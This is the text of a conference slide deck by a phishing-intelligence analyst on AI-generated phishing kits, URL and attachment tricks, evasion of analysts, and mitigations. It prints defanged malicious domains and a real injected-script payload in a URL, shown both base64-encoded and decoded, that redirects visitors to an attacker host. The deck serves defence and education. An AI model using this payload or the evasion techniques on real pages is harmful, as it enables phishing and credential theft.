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About Me

• Been with Cofense for 9 years

• Lead Cofense Intelligence Analysis Team

• Focus on New and Emerging Phishing TTPs

• Published in Forbes, CyberWire, and Other Media Outlets.

LinkedIn
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AI Generation is Difficult to Detect and 
Harder to Attribute

• Rarely Safe to State with Certainty That AI is Responsible

• Look For Trends That Were Present and Not Present Before the 

Advent of Threat Actor-controlled AI

• Broad Trends Such as Customization Beyond the Expected 

Timeframe by Humans is Likely AI Generated or Automated
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AI-Generated Phishing Kits

• AI-Based Phishing Kits Are Becoming More Common

• Advanced Phishing Emails Are Appearing at Scale

• Advanced Phishing Pages Are Becoming More Common

• AI-Based Bundled Kits with Consistent Narratives Are Available
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Emails with Generated Content
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Contextual Targeting
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Themes May Bypass AI
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Password Protection of Archives



#CORNCON

Attachments with Links
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Attached Archives

Header of Attachment

Footer of Attachment
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Attachments with QR Codes
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Links In Images
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URL Based TTPs
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URL Redirects



#CORNCON

URLs with Non-Ascii Characters

• hxxps://adclick[.]g[.]doubleclick[.]net//pcs/click?Y41515N2435yMX4

19snVO7695-2024-

McWAN324SCAN&&adurl=//documents%E3%80%82awl-

mx%E3%80%82com/JDHWEKSD?e=

• hxxps://documents。awl-mx。com/JDHWEKSD?e=
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URL Paths with Embedded Scripts

• Decoded JavaScript Contents:

hxxps://listserv[.]worcester[.]edu/scripts/wa.exe?TICKET=test&c=<script>
var 
addt="?x=$";eval(atob('ZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnN0eW
xlLmRpc3BsYXkgPSAnbm9uZSc7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAgJ
2h0dHA6Ly9teDAuZGlnaXRhbGdyb3d0ZWFtLmNvbS9oeEgxd1UnICsgYWR
kdDsg'));</script>

document.documentElement.style.display = 'none’;
window.location.href =  
‘hxxp://mx0[.]digitalgrowteam[.]com/hxH1wU' + addt; 

• Original URL:
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Second Stage TTPs



#CORNCON

Legitimate Hosts with Malicious Links
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Quick Deploy Hosting

Domain Example Malicious Subdomain

.workers[.]dev c1ient-indrctd1oadinn[.]distribute-employees-bonuses[.]workers[.]dev

.glitch[.]me chalk-azure-primula[.]glitch[.]me

.pages[.]dev sun-shine[.]pages[.]dev

.blob[.]core[.]windows[.]net projectdesignarchitectsd[.]blob[.]core[.]windows[.]net

.netlify[.]app 67d430dcca6bc236023002a9[.]netlify[.]app

.r2[.]dev pub-c76b55d7b18c4d2c9888b98bb5e977d1[.]r2[.]dev

.trycloudflare[.]com hardcover-recognized-real-collective[.]trycloudflare[.]com
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Legitimate Services Hosting Malicious 
Files
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Long Lived Domains
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ClickFix, FileFix, and Clipboard Poisoning
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Blob URI/URL
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Credential Phishing Kit Pages
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Browser Language Filtering
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Browser User-Agent Filtering
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Browser Geo-Location Filtering
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Email Address Filtering

• Domain Tailoring

• Verification

• SOC Avoidance
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CAPTCHA
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Anti-Analysis TTPs

• Detect Developer Tools

• Detect Performance Metrics

• Detect Screen Size

• Prevent Keyboard Shortcuts

• Checks for Specific Tools Like 

Selenium

• Count Number and Legitimacy 

of Browser Plugins

• Detect Battery Characteristics

• Detect Audio Characteristics

• And More
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• Find Source of Contextual Intelligence

– Ensure Employees Pay Attention to Context, for Example, Knowing That IT 

Does Not Use ConnectWise RAT

• Ensure Emails with Known Malicious URLs Are Removed from Inboxes

• Use Password Manager

• Use Phishing Simulations Based on Evolving Threats

– Trained Employees Protect Other Employees

– Employees Trained to be Suspicious of Emails Will Also be Suspicious of 

Credential Phishing Pages, Smishing, Vishing, etc.

General Mitigations

31
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• Ensure SOCs Are Using Tools to Bypass Obfuscation Methods

– “User-Agent Switcher and Manager” Firefox and Chrome Plugin

– “Locale Switcher” Firefox and Chrome Plugin

– Provide SOCs with Multiple VPNs (Threat Actors Have Mapped Some 
VPN Provider Endpoints)

• Ensure SOC Analysts Switch VPN Based on Context and Email Language

– Use Physical Machines That Can Be Reimaged with Browser Installs 
Simulating Actual Usage (Bookmarks, Plugins, Customization) 

– Ensure SOCs (Even Outsourced Ones) Are Given Context for Tickets 
(Original Email) Not Just URLs

SOC Focused Mitigations
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Relevant Links

• Links to Blogs

• https://seceon.com/ai-powered-phishing-kits-the-new-frontier-in-

social-engineering/ 

• URLScan from Slide 14:

• https://urlscan.io/result/1ebb2191-ee28-4b3c-aeb8-

2696021c7029/#transactions 
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